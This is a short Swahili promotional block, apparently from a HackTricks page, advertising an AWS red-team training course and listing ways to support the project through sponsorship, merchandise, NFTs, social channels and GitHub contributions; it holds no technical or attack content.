<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>